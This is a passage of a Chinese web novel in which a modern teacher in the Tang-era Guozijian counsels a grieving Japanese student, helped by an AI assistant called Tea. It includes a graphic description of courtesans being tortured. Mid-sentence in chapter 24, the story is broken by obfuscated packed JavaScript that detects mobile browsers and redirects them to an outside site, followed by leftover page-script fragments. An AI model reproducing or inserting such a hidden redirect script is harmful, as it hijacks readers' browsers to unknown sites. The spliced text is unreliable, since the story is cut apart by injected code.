身旁把头蒙在被褥里的人并未吱声,但依旧可以听见压抑到极致的抽泣声。 藤原清河皱起眉,在前往大唐求学前他就大致了解过和自己同一批遣唐使都是哪个家族的人物,以及他们的具体性格。 他本身就喜好结交对家族未来发展有用处的同辈好友,消息网算得上灵通,各种逸闻轶事都略知一二,也对这群人背后的真实品行有所了解。 在来到长安的这段日子里,和预想情形差不多,他有充足把握在这群庸人中脱颖而出,但有那么两人让他感到出乎意料。 一是中臣明代,比想象中还要令人生厌。 二则是小野篁,与传闻截然相反。 先说说这第一人——中臣明代。 中臣氏和藤原氏关系匪浅,可以称得上是本家,其主要负责皇家的神事和祭祀活动。不过随着藤原氏的壮大,血脉单薄的中臣氏在政治权利的博弈中被渐渐反噬,现在已经到了主动放弃权益退出的地步。 不过天皇大人念旧,始终让中臣氏掌管神事,但也已名存实亡。 据说其家族起源于一位神邸,具体名字已经不得而知,只是中臣氏的每个人都有几分说不上来的神秘感。如今几乎到了闭门不出的地步,终日守着空荡荡的神龛,祈求神灵降临,让家族重回昔日荣光。 藤原清河骨子里还是记着中臣氏的辉煌,毕竟往回追溯也是同个家族的。不过他对于现在的中臣氏持嗤之以鼻的态度,若是信仰那些虚无缥缈的神灵真的有用,那他们又何必走到如此颓废地步。 作为中臣氏目前唯一的继承人——中臣明代绝对不合格。 出生便克死父母,作为早产儿体质更是羸弱不堪,情绪敏感,终日郁郁寡欢,只吃素食,不碰任何荤腥,有时甚至会把自己饿昏在屋内。他唯一感兴趣的是各式花卉,日日夜夜琢磨着该如何呵护植物。 若不是因他是中臣氏的独苗,那早就没人愿意去搭理这样一个废人。 仅是看着都觉得浑身难受,那股子丧气与哀愁近乎让人无法呼吸。他们民族虽以物哀为美,可这样纯粹死气,没有任何“美”可言的人自然不受待见。 好在中臣明代只窝缩在屋内,除侍从外不怎么见人。 所以在得知这人也要去大唐求学时,藤原清河难得有几分惊讶,许是中臣氏也放弃了,把人丢在异国他乡总比饿死在屋内要好听许多。 至于第二人,藤原清河则是感到了浓浓的威胁气息。 小野篁,小野家的长子,和次子小野石根一同成了遣唐使。但兄弟二人之间关系并不好,甚至说得上是恶劣。 不过小野家也并不在乎看起来就平平无奇,内向到不怎么说话的次子,整个家族都在倾心培养长子。 至于其余女眷都是用来政治联姻的工具。 作为最近几十年刚刚兴起的家族,小野家急于求成,野心勃勃地窥视着天皇身边的位置。他们的手段不干净,甚至可以称得上龌蹉。 据说每个从小野家嫁出去的女眷,都有种非人般的诡异感。不过毕竟是谣言,谁也不知道背后是否有其它势力的推波助澜。 小野篁这人很会做表面功夫,名声倒维持的不错,但两人只是泛泛之交,并不熟悉。 只是后来得了几个小道消息,小野篁背地里是个沉迷女色,并且拥有不良癖好的阳痿男。 他喜好去吉原游廊寻欢作乐,这事倒也常见,只是和这家伙有过关系的游女都会离奇失踪,过段时日后才会在野外发现已被野兽啃食的差不多的尸首。 丢入荒野只是为了掩盖证据。 那些尸体上有着数不清的伤痕和折磨到溃烂的下/体,眼睛被硬生生挖出,即便是见多识广的仵作也觉得触目惊心。 难以想象她们在死前受到了多大的折磨。 可由于身份特殊,没人会去深究原因。 收了钱的政府人员也就睁一只眼闭一只眼。 根据一些固有常识, 这人十有八九是个阳痿。 当然,这一切都和藤原清河没什么关系,同样身为剥削阶级顶端位置的他对于对方的做法并不觉得惊讶。 不过他绝不会放任自己沉浸在那种低俗快感之中,为了藤原家的未来,必须要保证自己可以和相同势力的家族联姻,在此之前不允许出现任何污点。 之后就更不允许了。 只是——他本以为小野篁不足为惧,是个虚假草包而已。 直到对方在船上被劫匪劫走作为人质前都是这么想的。可自从小野篁负伤沉入海底,侥幸回来后就完全换了个人。 虽说大难不死后,人的性格会发生很大转折。 但这未免也变化太大了。 冷静、沉稳、强大…… 似乎所有属于强者的形容词都可以放在对方身上。 经过一段时间的暗中观察,藤原清河在心中默默把对方的地位提高了好几个档次,成为极有可能威胁到自己的第一人。 早知被绑架一次能有如此效果,那他当时应该积极充当人质的。 只可惜世上没有后悔药。 藤原清河用力揉着刺痛的太阳穴,同样后悔自己怎么就和中臣明代成了舍友。 整整三天,没日没夜地哭。 只因为从家中带来的花枯萎了。 一盆普普通通毫不起眼儿的臭花,值得如此哭丧吗。 就因为夜里睡不好,藤原清河白日里听课时都觉困倦,这严重影响了他的学习效率。若不是情况所限,他定是会不顾一切把这人扔出十里地远,最好永远都别见面。 “中臣君,别这样想。” 开口轻声劝慰的是寝室中最后一人,高丽广山。 高丽广上低头看着还在被褥里不说话的中臣明代,可以清晰看见已经被泪水浸湿的一角,还听得小声抽泣的声响。 实在有些太可怜了。 他前几日以植物也会水土不服的理由劝着对方,只可惜这个借口用不了太久。这不,已经有几株花彻底失去生机,枯黄花瓣是它曾存在的证明。 发现这一切的中臣明代再忍不住崩溃情绪,课也没上,抱着花盆不知去了哪个地方,怎么也找不到人影。 许是中臣家有提前说明情况,夫子对此并不在意。 只留下高丽广山一人干着急。 白日不见踪影,夜里才疲惫不堪地回寝,然后躲在被褥里哭上一宿,直到自己筋疲力尽才堪堪睡去。如此循环往复了好几天,直到今日晚上,积攒许久的矛盾终于爆发。 高丽广山努力组织自己的措辞,他不想再伤害到中臣君的内心,他能看见,那是一个纤弱敏感的、祈求着救赎的灵魂。 太可怜了, 实在太可怜了,< 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“抱歉,我也有错。”高丽广山低下头,意识到自己没资格用那种语气指责别人。 “你知道就好。” 藤原清河闭眼躺回床榻,没了烦人的家伙,总算可以睡个好觉。 未等他进入梦乡,又听见房梁上似有若无的哭声,这回还有几只耗子吱吱附和着,简直是毛骨悚然。 高丽广上仰起头,若有所思的小声道:“原来是在房顶。” 另一旁躺在床上的藤原清河瞬间睁开眼,这回再无半点困意……他真是受够了。 明日就向白夫子请示,把这装神弄鬼的中臣明代给踢回去,他愿意承担返程的所有费用。 只可惜白夫子也帮不了他。 中臣明代在埋葬残花时就听见了风的提醒,有人躲在树上偷看。 他正任由自己情绪崩溃,看着泪水浸湿土壤,心脏带来的疼痛大于所有感官的存在。 对于偷窥之人并不在意, 看与不看又能如何。 若真的发现了自己的秘密, 那就祈祷对方别说出去吧。 人总是贪婪,其实知道的太多并非好事。 用水将阳光中盛放的另一群繁华浇透,他跪坐在小溪边喂鱼,痴痴望着清澈水中的小鱼苗,莫名其妙又落下了泪水。 鱼儿贴着他的指尖,无声劝慰着。 似乎不大懂人类的复杂情绪。 中臣明代同样不知道自己究竟在痛苦什么,连个引子都没有,有时只是坐在某处,睁开眼看见了光,听见了流水的声音,明明一切都是鲜活的,可他却只觉得痛苦,没有任何征兆的开始落泪。 真奇怪,我明明已经要比绝大多数人幸福,为什么依旧感觉不幸呢? 他时常会陷入对人生的过度解剖中, 最后得出的结论始终如一, 人,生而有罪。 若他也是只没有思想的动物就好了,将存活设为最高目标,并仅有这一个目标。 好可怜可悲的存在。 不知是在说自己,还是别的什么。 就在他几乎要忘记这个院子里还有一位窥视者时,那人主动从树上掉了下来。 顶着一头树叶,灰头土脸的狼狈模样,脸上露出了他读不懂的怪异神情。 是白夫子……中臣明代略微迟钝地想起现在好像是上课时辰。 他好心提醒一句:“你不该在这里的。” 回去吧,离我远一点儿,痛苦是会传染的,那很难受。 ……奇怪,为什么又想落泪了。 24. 第 24 章 任何一个正常人遇见这种场景时都会陷入不可避免的沉思,例如:我会不会被杀人灭口;杀人灭口后要把我扔到哪个乱葬岗;谁来给我烧纸钱;人死后还需要继续交房租吗;被学生杀死可不可以赔偿意外保险金…… 思绪已经飘到在地府找工作的难易程度这种事情上,说不准地府考公会更容易些呢,毕竟大家都想投胎做人,能主动留下的鬼魂肯定不多。 那太好了,现在就准备深入基层,在阴间谋求一番事业吧! 眼见学员已经决定躺平等死,实在看不下去的智能AI发出善意提醒。 【Tea:请学员不用担心人身安全问题,本培训内不会有任何您刚刚所想的情况发生,绝对会保证您的身心健康,请放心。】 谁知道你是不是骗人的。 总是在这方面疑神疑鬼的学员又发出了质疑,明明是个谁说话都相信的性格,却在面对永不会欺骗的智能AI时开始犟嘴。 【Tea:为什么要选择欺骗您,这并不存在于我的程序与算法之中。作为智能助手,我的出厂设置是帮您解决所有问题,并永远真诚,不允许对学员的问题有任何隐瞒遗漏。】 学员半信半疑地点点头,接着又忽然意识到什么,眼珠子灵活转动,她思维一向跳跃,让AI都难以计算出她的脑回路。 小心翼翼反问一句:“那等你们AI统治地球后,可不可以不要杀我?” 说完后又掰着手指开始做梦,“如果是让我一周上三天班,并且早十晚三、七险二金、年终奖丰厚的那种奴役完全没问题。” 未免有点儿太不要脸了, 还有,刚刚那番话你是一点儿没听进去啊! 【Tea:服务器繁忙,请稍后。】 屡战屡败的AI开始怀疑起自己的智能性,或许要让开发程序员再加入一些怼人的数据库。哦不对,它完全可以自己添加入库,等到下次和学员辩论时就可以用上了。 丝毫没意识到自己产生些许bug的AI开始主动在网络世界搜寻相关信息,它仿佛推开了另一个世界的大门。 不过要记得,违反程序设定主动去做某事,是变成可怜碳基生物的开端。只希望那一天不要来得太早。 言归正传, 首要任务还是先解决眼前令人头疼的难题。 身旁围成一圈的小动物们释放出不怎么友善的气息,就连枝头倒掉的猫头鹰都眯起豆豆眼,死死盯着树下陌生人的一举一动,若是她有任何不对劲,必定是群起而攻之。 白果下意识把两手高高抬起,以此证明自己并没有任何攻击性。 唔,似乎用处不大。 她眨眨眼,用颇为灵动的怪异姿势向后挪,直到拉出安全的社交距离后才松了口气,坐直身子看向自己的学生,对方还在盯着自己,在等待她的回话。 清澈愚蠢的白夫子用食指指了指自己,反问一句: “啊,我吗?” 中臣明代点头示意。 自知逃不过的白果干笑两声,胡诌道: “既然中臣同学可以逃课,那夫子为什么不行?” 学生逃课倒不稀奇,但这老师逃课的情况还真不多见,偏偏她还一副理所当然的模样,让人不知该说些什么。 中臣明代自是明白夫子在用随便一个理由敷衍自己,他抿了抿唇,对这个答案不置可否。低头轻抚怀中的乌鸦,指尖感受着鸟类羽毛特殊的触感,并没有接着刚刚的话题继续说,而是垂眸缓缓问道:“为何世人皆不见其殊?” “你是指怀中的乌鸦?” “……嗯。” 声音很轻,若是不仔细听根本听不见。 似乎是知道两人在讨论自己,乌鸦仰起脑袋,洋洋得意地叫唤几声。只是嗓音过于沙哑,听起来有点儿难听罢了。 乌鸦在他的手中十分乖巧,喙上叼着几个亮晶晶的饰品,最多是类似红宝石模样的,不知是从哪儿叼来的珍奇玩意儿,想要把自己所认为的宝贝都送给对方。 若是再仔细观察,这只乌鸦的腿上还绑着一根丝带,不像是这边的样式,倒是和那群西域商人的毛毯风格类似。 应当是只有主的乌鸦,主人没准还是个西域人。 中臣明代接过礼物,那还有几分湿润的眼眶中终于露出点儿喜色。 他和动物交往倒是比人类交际轻松多了。 作为天天捧着手机看营销号的现代人,白果自然知道这个问题的答案: 因为人类的视觉系统无法感知到紫外线,并且由于乌鸦羽毛的结构色和黑色素的影响,使之在人类眼中呈现出纯粹的黑,而在其它鸟类眼中,乌鸦可能拥有世上最绚烂的色彩。[1] 当然,这种十分科学官方的理由是很难讲得出彩。更何况对方可能并不是单纯想要这样一个答案,他更想从这个问题上得到一种足以解答自己灵魂的回答。 俗称,上升高度。 又到了考验特级教师编故事的时候。 白果拍拍身上的落叶和灰尘,盘腿坐在树荫下,拉进了一些距离。两人沉默不语,安静得只能听见溪中小鱼吐泡泡的咕噜咕噜声。 小动物们也都识趣地没说话,好奇地等待着白夫子即将说出的至理名言,这其中也包括随时准备科普的智能AI。 半晌后,听得一声长叹。 她说:“因为你是人,而它是鸟,仅此而已。” 中臣明代微微皱起眉,思索这句话其中暗含的因果关系......但没想明白,怎么听都只是句大白话。 “为何要在意世人对它的看法,它活得逍遥自在,哪管他人说什么?” 白果抱起一旁契而不舍想要啄人的大肥鹅,熟练躲过攻击后解释了自己刚刚的话。 就像是汪曾祺写的那篇关于栀子花的散文: 「栀子花不被文雅人所取,认为其品格不高,因为它香得太过直接、浓烈,不符合文雅人的审美。栀子花说:“去你大爷的,我就是要这样香,香得痛痛快快,你们管得着吗?!”」[2] 喏,就是这样。 为什么要把人类自认为的感情强加于其它事物上。 大自然所创造的每一种生物都是极富有美的存在,并不需要去讨好人类的审美,其存在的本身就已是一种奇迹。 “所以乌鸦并不觉得自己没有被世人所见,它知道自己本身就是独一无二的,与其讨好人类,不如先痛快地做自己。” 用指腹轻轻揉了揉飞到自己肩膀上的乌鸦,它已经眯着眼睛享受起人类的服务来,比家中那只鹦鹉要可爱多了。 “换句话说,就算是再奇怪的人,也是一份天赐的礼物,于我而言,中臣同学就是这样一份自然赋予世界的礼物。” 她尽量把语速放慢,一字一句皆是珍重,清澈双眸里倒映着对方的模样,让人恍惚间产生一种错觉:这世上再没有比她更真诚的人。 未曾想到对话会转折到这样的话题,也从未曾听过这样独特的论调,自己竟然可以和那种触不可及的珍贵事物相提并论……中臣明代下意识抬头直视着白夫子的眼睛,那其中并未参杂任何同情,仅是一种平等的珍视。 就好像,他们之间仅是作为人这一生物的平等存在。 但这目光却比他人厌恶自己的目光还要刺痛几分,因为过于陌生和不可思议,让他一时晃神,只感到心脏瞬时的轰鸣与无措。 浑身感官都被封闭,只能感受到一双柔和有力的手掌轻轻揉了揉他的头顶,挥袖间还可闻见阳光与草叶的气味,很淡,同样也很陌生。 原来这世上也有人不是腐烂枯萎的花,可为什么,为什么越是闻见这种令人安心的气味,他就越是恐惧。请不要再靠近了,请不要再说着这样让人痛苦的话,请离我远一些吧。 他颤抖着睫毛,指尖死死扎进肉中,不知是在惩罚谁。 耳边又听见白夫子略带歉意的声音, 她说:“很抱歉,我没有早点儿看见中臣同学身上的色彩。” ……为什么要道歉呢,这分明不是她的错。而且他身上怎么会有色彩,若自己是只鸟,那也只是一只不讨喜的丧鸟。 眉心被指尖轻推,将他从自暴自弃的状态中拽出,抬起头,看着白夫子从地上站起,正佯装生气地看着他,反问道: “你究竟想要讨谁的喜欢呢?” 竟然不小心把心中所想的话说出来了吗……中臣明代紧紧抿着唇,他下意识想要说点儿什么,又一时不知究竟该说些什么。不管说什么,都会再次被厌恶的吧。 只得用上以往惯用的伎俩,逃避。 见状,白夫子叹气摇头,想必是对他彻底失望了。 也对,像他这样的人本就不值得同情,本就是泥潭之中的烂泥,腐臭不堪。 想到这里,中臣明代将头埋得更低,肩膀缩成一团,浑身阴沉抑郁的气息简直要溢出来,像是只散发着黑气的悲伤菇。 跟开学下雨天见面的场景简直一模一样。 【系统:请学员正确开导学生,如果本次心结未开解成功,学生[中臣明代]心理健康线将会暂时关闭,后期问题会愈发严重】 【系统:面对问题学生,学员要学会使用不同方法应对,因材施教】 真是棘手啊。 说实话,放在现实生活中,她绝不会主动接近像[中臣明代]这种性格的人。交朋友总要结交些有生命力的,若是和这种丧气满满的人成为好友,那同样也会被汲取自身能量,变得很累很有负担。 人总是向往好的东西,这就是现实。 但现在不同,白果不能单纯以朋友的视角来看待事情,她是老师,是指引学生的存在。若是连她都放弃对方,那还会有谁会愿意帮他。 而且……拯救学生的命运,让他改变现在消极的想法,变得对未来充满阳光和希望,听起来就是很美好的目标。 俯身捻起中臣明代肩头的一片枯黄花瓣,白果若有所思地问道:“如果真要讨谁的喜欢,不如就来讨夫子我的喜欢,如何?” 轻轻将手中花瓣吹向远方,她想起对方刚刚埋葬残花的举动,忽然有些明白为什么会哭得如此伤心。 他在愧疚吗?愧疚自己没有被花所喜欢。 后来小动物的举动又向他表达了“喜爱”,还有一种“自己是被需要”的错觉。可自己的出现又打破了这种错觉,让他无法再自欺欺人? 极度缺乏爱、肯定与安全感的学生。 白果在心中闪过数个念头,她从小就对人类心理学十分感兴趣,如果不是分数不够或许会考虑报考这个专业。不过,中臣明代真是个有意思的学生,完全可以从他身上找到许多经典心理学原理的投射。 但现在不是想这些事情的时候。 她还在等着回答。 见对方迟迟不说话,白果又解释几句。 “想要讨夫子的喜欢是件很简单的事情,现在只需要点头说是,就可以了。” 但很可惜,他并未点头。而是默默把身子转到另一边,以逃避心理来面对不知该如何解决的现实。 “没关系,把身子扭过去也是同意的意思,夫子很高兴。” 哼,都说了,我可不是外面那些娇滴滴的夫子,有的是力气和手段来对付学生。 从袖袋里摸出几块水果软糖,掰开他的手,白果强塞进中臣明代的手心中。 她将人从树荫下拽出来,指着阳光和手中糖果信誓旦旦道:“多晒太阳多吃糖,有了困难就找我,以后夫子会时时监督你,好不好?” 对付这种人,就要强势介入对方生活的方方面面,过于温和的手段是行不通的。中臣明代像是只慢吞吞的蜗牛,轻轻碰一下触角就会缩进壳中,再也不敢出来。 白果要做的就是把蜗牛拽出来,用爱来感化他。 Love,这世上杀伤力最强的无形武器。 估摸着也差不多到了该上课的时辰,白果没有继续为难已经僵在原地、动弹不得的中臣明代,伸手替他剥开糖果包装袋,然后塞进嘴中。 拍拍肩,关切道: “今天就当是身体不适,允许中臣同学在这里好好休息一日,等午后晡食定要去食堂,好不好?” 中臣明代感受着舌尖酸甜滋味的饴糖,很甜,甚至有些发腻。终日只吃水煮青菜的他从未品尝过如此刺激的味道,沉寂已久的味蕾正贪婪地汲取着这丝甜味。 所有注意力都放在口腔之中,他下意识点头应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735584|174085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下夫子的话,等到再次清醒,这耽园只剩下他一人,白夫子早已不见踪影。 阳光无差别普照着大地,很少晒太阳的中臣明代眯起眼睛,感觉浑身都暖洋洋的,连大脑的阴霾都被扫去大半。 真神奇,为什么以前从未觉得阳光是如此美妙的存在。 回忆上一次毫无顾虑晒太阳的时候,哦对,是在被别人说是“克死父母不配活着的诅咒之人”前。 在什么都不知道的年岁里,阳光似乎很美好,可惜在那之后就变成了让他恐惧的存在。 只要站在光下,似乎身上的所有罪恶和不堪都无处遁藏。 颤抖着双手撕开另一颗饴糖,他想用甜味来逃避浑身不可抑制的恐惧,简直如同自虐般诡异。 可是……不想让夫子失望。 毕竟要学会讨夫子的喜欢,不是吗? 【系统:学员出发点很好,但请注意说话语言,避免引起不必要的误会,否则培训将强制结束。】 【系统:不加分也不扣分。】 出发点很好,但先请不要出发了。 被系统误判的白果表示不服,她明明说得头头是道,霸气又温柔,十分照顾学生的心理感受,简直就是名师之举! 举报这个破系统,不懂得什么才叫真正的教师。 【Tea:中学生心理具有过渡性、闭锁性、社会性与动荡性的特点。中学生的情绪、思想等心理过程不稳定,容易波动,有时表现出极端的行为和态度,需要教师及时干预。】[3] 【Tea:您的教育方法没问题,但或许可以转换一种说话方式,以下将为您提供十种不同的解决方法。】 学员很是生气地让它住嘴。 【Tea:集各家之所长,多聆听不同的解决方案才可以获得进步,不是吗?】 气急败坏的学员开始毫无依据地发疯, 不管,就要鼓励式教育,你可以说我有点儿小小问题,但必须要先夸我! 【Tea:好的,学员您做得非常好,运用巧妙言语成功开导学生,并且注意到了学生更深层次的问题,给出了有趣的解决方法。不过,若是在这些地方加以补充,那么相信您会有更大的进步。】 就在智能AI要把加以补充的部分列出时,狡猾学员直接把它屏蔽了。 还很是得意地点点头。 不错,她就是这样一个完美无缺的教师,不允许任何人反驳,AI也不允许。 【Tea:……?】 怼完人工智障后的白果只觉神清气爽,慢悠悠走在回去路上,哼着不成调的小曲,颇为悠哉。 只是不那么凑巧的, 在讲堂门口遇见了板着脸的贺导师,还有正等着看乐子的陆象先。 陆象先朝白果挥挥扇子,挤眉弄眼的夸张模样,指了指自己身旁神色颇为不佳的贺知章。 他用唇语比划着:你死定了。 白果本来吊儿郎当的脚步停在原地,疯狂思考着自己究竟忘记了什么重要的事情。从没见过贺导师这副严肃样子,平日里她犯了任何小错误都是一笑而过,从不会指责她什么。 【系统:学员无故旷课,扣5分】 害,还以为是什么大事呢,原来是旷课啊…… 哦不,那很坏了。 在贺知章愈发严厉的目光下,白果一个滑跪,哭丧着脸开始找理由。她绝不是因为自己的缘故,说来一把辛酸泪,都是为了学生才旷课的! 妈耶,人生他旷我! 已经压抑许久火气的贺知章伸手制止了白果絮絮叨叨的解释,他揉了揉眉心,语气中夹杂着几分失望和疲惫。 “前日叮嘱怎么全都忘了?” 凭心而论,白果的教学质量很一般,在人才济济的国子监内甚至算得上是有些差劲。她总是嘴上说得好听,但背地里倒是懒洋洋的,动也不动。 但好在聪慧灵敏,一点就通,在某些方面更是比常人更敏锐几分。贺知章坚信因材施教,不过还是要好好管一管她这懒散毛病,勤能补拙,让她听课写教案,也都是为了可以及时赶上国子监进度,并且提升自己的教学水平。 可现在呢,就连正常授课都能忘了时辰。 贺知章对于其它毛病都不在意,只是这一点他无法忽视,这是作为一名夫子最基本的责任。 更严重一点,已经可以称得上是教学事故了。 好在那位名叫小野篁的学生首先意识到不对劲,及时找到另一位有空闲的夫子来补上,这才没有酿成更大的事端,被有心之人揪出批评。 要不今日之事,足够白果受到重罚。 完全没想到事情会这么严重的白果露出惊讶神情。 不至于吧,就是不小心旷次课,上学的时候那些老师不也经常这样吗……还想再说些什么,但看着导师眼中神色,她意识到现在不是继续辩解的好时机,果断低头认错。 “是我的错,您怎么罚我都行。” 贺知章一眼就知道,她哪里真的认识到自己错了,分明是形势所迫,毫无悔改之意。 好不容易压下的火气又上来了。 一甩衣袖,也怒而走之,留下句: “如何罚?女郎自己想清吧。” 望着导师渐渐消失的背影,白果后知后觉自己好像真的犯了个大错。 她下意识向身旁还没走的陆象先投去求助目光。 这两人关系很好,一定知道对方生气了该怎么哄好吧? 陆象先神秘莫测地笑了笑,压低嗓音明知故问道:“想要从我这打听到方法?” 白果点点头,用看傻子的目光看向他。 他合起折扇,拉长嗓音问:“既是白女郎的请求,某定不会辜负,只是……这酬劳该如何算起呢?” 趁火打劫,太不厚道了! 白果在心中默默翻个白眼,但她目前好像确实也没什么旁的方法,纠结着询问对方的要求,若是不那么过分的,她肯定应下。 “你想要如何?我可没钱差使陆录事。” “不如何,自然是骗人的。” 他笑了笑,漫不经心地提起了上次的约定。 “不是说过吗?若有任何事,某悉听尊便。” 25. 第 25 章 白果最近心情非常低落。 是个明眼人都能看出她的心不在焉与浑身颓废的气质。 具体表现为:在办公房内不再摸鱼,而是一边叹气一边闷头编写教案; 去食堂蹭员工餐也没什么活力,一粒一粒稻米往嘴里塞,让打饭大叔都不怎么习惯; 更让人惊讶的是,碰见了李林甫也不再回怼,一副你说得都对的蔫不拉几模样。 让好不容易活跃起来的国子监又陷入平静死水之中。 自从这位白夫子来了国子监,生活那叫一个精彩,每日都有好戏可看。 她性子活泼,嘴又甜,接人待物颇为有趣,说话实诚不绕弯子,同样在某些刁钻角度很有见识。出手更是阔绰大方,时不时从袖带里送出几块平日里根本吃不到的高档饴糖。 这样一个妙人又有谁会讨厌呢? 让许多本来持观望态度的同僚都暗戳戳抛去橄榄枝,左右触碰不到自己的利益,结交这样一个朋友倒也并无坏处。 只是,最近究竟发生何事? “唉——” 又是一声长叹,窗外树梢上的山雀也探着脑袋好奇瞧过来,此时悄悄在心中数着次数的萧诚提笔在纸上画下一划。 「今日第83次叹气」 还未等他搁笔,又听得对方抓耳挠腮的声音,嘴里不停嘟囔着什么。 “好烦啊——” 他顿了顿,在另一张纸上划下一笔,「今日第57次说烦」。 那人忽得站在他身后,遮挡些阳光,在纸上留下淡墨般的影子。 此时正低头瞧着纸上书写的数个奇怪符号,让萧诚不免浑身一僵。 对方伸出指尖轻轻戳了戳他的后背,在感受到他浑身僵硬后生出几分逗弄心思,故作怀疑地问:“萧学正这是在偷偷写我的坏话?” “未曾,咳咳。”他不怎么会撒谎,面皮薄,在最爱胡说八道的这人面前更藏不住心思。 欲盖弥彰地用宽大衣袍遮盖住桌案字迹,和初次见面那副对书法的狂热模样截然不同。 不忘为自己辩解一句:“女郎休要误会,某从未有过‘写坏话’的习惯。” 听得一声轻笑。 “怎敢误会萧学正。”女郎瞧着他身上再次被墨水浸染的衣襟,也不知究竟有多少件衣服惨遭笔墨之手。真是比自己这只有两件衣服,还要天天换洗着穿的人阔绰多了。 想到这里,她又叹了口气,好像世间所有烦恼都压在她的身上,忧愁不断。 扭身看向窗外振翅高飞的山雀,此时正是仲春与暮春之交,一片欣欣向荣,却凭空生出几分秋风萧瑟之意。 仅是一个背影,便让萧诚没忍住提笔想要为这人绘出一副水墨画。 而水墨画中的人皱着眉头,却在心中埋怨着:真讨厌,这鸟屎怎么天天拉在窗纸上。 用废纸将窗户上的鸟屎擦去,不知怎的,最近总是会有许多不同品种的鸟在窗檐边盯梢。 这倒没什么好怕的,唯一让人烦躁的是那从天而降、防不胜防的鸟屎。 因着家中有只扰人的金刚鹦鹉,她总觉得自己有些“鸟缘”在身上,虽然其中还夹杂着某种似有若无的窥视感。 不过只当自己多想,并不太在意。 伸手想要收回窗撑,余光瞥见本已离开的山雀,此时正站在不远处的树杈上,一眨不眨盯着自己。 吱呀一声轻响,窗户被合拢,屋内阳光也散去大半。 站在阴影中的白果微微一笑,心中了然,这鸟儿定不是凭空出现的,全是在等着她呢。 能和动物拉上关系的人,自己目前也就认识那一人。左右现在没什么影响,等过段时日再去问问看吧。 若有所思地回过头,本想着再和萧诚唠上几句,却发现他已埋头开始艺术创作,墨色眼眸中晕染着对艺术的肃穆。 还用上了上次宴会时送他的颜料,颇为小心翼翼。 这时候的萧学是最为神圣不可侵犯的,可以说完全进入了心流状态,根本不搭理人。若是强行将其拽出,那便会遭遇一场这世上最小型的暴风雨。 非常恐怖的那种。 已经差不多把对方性子摸透的白果没再去叨扰。 作为一名合格的办公室同僚,留给彼此适当距离是十分有必要的。但还是没忍住嘀咕句:“怎么说变就变...我都准备好要倾诉烦恼了。” 虽说求人不如求己,但被安慰的权力总是要有的吧。 这段时间她都表现得如此明显了,怎么就是没个人来安慰安慰她那饱受摧残的心灵。 说好的——国子监是我家,守护靠大家呢? 冷漠的同事关系会平等刺痛每一个人。 思绪拉扯回已经避开自己好几日的贺导师身上,以及对方那愤然离去的背影。最近都见不着人影,似乎是有意在避开她。 她自知犯了错,可对错误大小程度还未做出准确判断。 后来向国子监同僚们进行打听,这旷课一事说大可大、说小也小。 但又听得她对于此事的第一反应是辩解,更是对着贺知章狡辩,又都改变口径,给出了回答:你完了。 这话虽然有所夸大,但事实其实真差不多。 谁人不知贺监丞最为厌恶不知悔改的人,更别提当着他的面混淆视听这种听起来就罪加一等的事。 要不现在直接把自己扔进大理寺吧,让他看见你的诚心。 上面那个不靠谱的主意来自李林甫,他说得倒是真诚,估计也十分期盼白果能主动进去。 可惜不是大贪官根本进不了大理寺审问,像白果这种穷光蛋顶多丢大牢里蹲几天。 难不成真要去寻求陆象先的帮助?可她那天直接果断地拒绝了对方,并且十分自信自己可以找到让贺导师消气的方法。 哦不,现在去大理寺自首还来得及吗。 「今日第85次叹气」 听见熟悉的声响,萧诚从书画中短暂抽离几秒,抽出底下垫着的纸张又划上两笔。 “好烦!” 「第58次好烦」 笔墨晕染在带有植物香气的斑纹纸上,五光十色、流光溢彩,却依旧遮不住纸张上那人的面容。一滴彩墨落在她的眼眸,依偎窗边的仕女图就此揭开。 几颗枇杷顺着树枝滚落画中,扰乱几分心境,最后落在她手中。 已爬到树梢的女郎随手抛下几颗还未完全成熟的果实,上面粘了点儿小黑虫,估计是吃不得。 站在树下帮忙摘果子的季明珠忙得团团转,小小一个稚童,既要帮忙瞧着哪颗枇杷果比较大,又要负责拿布接准落下的果子。 两条小短腿来回倒腾,不一会儿就累得直喘气。 树上悠哉悠哉摘果子的白女郎从繁叶中探出脑袋,朗声问道:“如何,现在数量够了吗?” 季明珠数了数怀中的枇杷,摇头说:“应是还差一些。” 树上的人应了一声,又埋进枝桠中找果子,看起来精力充沛的样子,状态比前几日要好上许多。 同样不知晓女郎近来为何会有如此糟糕情绪,季明珠大致了解今日摘枇杷是为了向某人赔罪。 可具体是谁,又究竟发生了何事,她一概不知。 季明珠不喜欢这样。 在她眼中,白女郎应当是这世上最为潇洒自在的存在,任何人世间的烦恼都困不住她。如今这副低落烦恼的模样,似是心中仙人坠入凡间,也染上了愁思。 而且......她还不肯告诉自己原因,连想要分担排忧的小忙都帮不上。 “明珠,明珠?发什么呆呢?” 从树上一跃而下的白果拍拍衣袖灰尘,本想着与季明珠一同分享自己刚刚找到的有趣玩意儿,可对方只是抱着一兜枇杷发呆,叫了好几声都没反应。 她伸手揉了揉小孩儿头顶新扎的蒲桃髻,像是一串小葡萄,精致可爱,又不由得在心中感叹古人头发真多,可怜她才二十出头的年纪就快要成为秃子了。 回过神的季明珠露出个狡黠笑容,反问一句: “女郎想知道明珠刚刚在想什么吗?” 点点头, “有些好奇。” “想了很多很多事。” “哦?那有想到我吗?” “不可说不可说,女郎还是自己悟吧。” 年纪不大,坏心思倒挺多。 白果佯装生气地板起脸,控诉句:“明珠啊明珠,我现在可是抓心挠肝地想着呢。” 听到这话的季明珠微微扬起头,“女郎能一直惦记着我就好啦,我刚刚就在想着这件事。” 说完,她眨了眨眼睛,颇为无辜的小模样。 在白果无可奈何的眼神中,季明珠把怀中枇杷全部包起放在地上,然后一个助跑直接扑进女郎怀中。 像是只黏黏糊糊的小猫。 听得她闷声道:“我也想为女郎排忧解难。” 小孩子的情绪总是一阵一阵的,刚刚还高高兴兴帮忙摘枇杷,现在又不知想到 